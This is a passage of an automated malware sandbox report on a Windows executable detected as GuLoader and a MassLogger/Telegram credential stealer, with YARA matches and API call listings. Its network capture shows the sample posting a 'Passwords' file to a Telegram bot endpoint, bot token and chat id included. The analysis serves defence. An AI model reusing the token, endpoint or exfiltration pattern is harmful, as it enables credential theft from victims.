2025-01-10 22:39:30 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 30 61 64 63 33 63 32 61 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd330adc3c2a0cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:31 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:31 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 37 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43688,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548771,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	50016	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:32 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd331d6f3d349f Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:39:32 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 31 64 36 66 33 64 33 34 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd331d6f3d349fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:32 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:32 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 37 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43689,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548772,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.8	50018	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:36 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd319dbf9f6463 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:39:36 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 39 64 62 66 39 66 36 34 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd319dbf9f6463Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:37 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:37 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 37 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43690,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548777,"document":{"file_n

Target ID:	0
Start time:	17:37:26
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\czHx16QwGQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\czHx16QwGQ.exe"
Imagebase:	0x400000
File size:	1'014'160 bytes
MD5 hash:	1A0FE25178E09CF0FACC1F7BD6F221A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2176225336.00000000050E2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:38:37
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\czHx16QwGQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\czHx16QwGQ.exe"
Imagebase:	0x400000
File size:	1'014'160 bytes
MD5 hash:	1A0FE25178E09CF0FACC1F7BD6F221A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.3%
Total number of Nodes:	1574
Total number of Limit Nodes:	38

Executed Functions

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,?,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,?,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,?,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,?,00435000,00000000,?,00000006,?,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,?,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,?,00000006,?,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,?,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,?,0000000A), ref: 00403705
GetTempPathW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,?,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,?,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,?,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,?,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,?,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,?,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,?,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00436800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,?,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,?,?,00000006,?,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\czHx16QwGQ.exe,00420EE8,00000001,?,00000006,?,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,?,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(?,0000000A,00000006,?,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

Error launching installer, xrefs: 004037D0
Low, xrefs: 0040371B
.tmp, xrefs: 00403861
TEMP, xrefs: 0040372D
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
1033, xrefs: 00403749
SeShutdownPrivilege, xrefs: 0040396F
C:\Users\user\Desktop\czHx16QwGQ.exe, xrefs: 004038F8
~nsu, xrefs: 00403845
NSIS Error, xrefs: 00403567
TMP, xrefs: 00403735
\Temp, xrefs: 004036FF

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\czHx16QwGQ.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-262784313
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,?), ref: 00404DEF
GlobalAlloc.KERNEL32(?,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,?,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,?), ref: 00404FFD
SetWindowLongW.USER32(?,?,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,?,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,?,00000000,?), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

, xrefs: 00405385
N, xrefs: 00405057
M, xrefs: 00404F76

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0WB, xrefs: 00405B53
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08
\*.*, xrefs: 00405B65

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1432729950
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

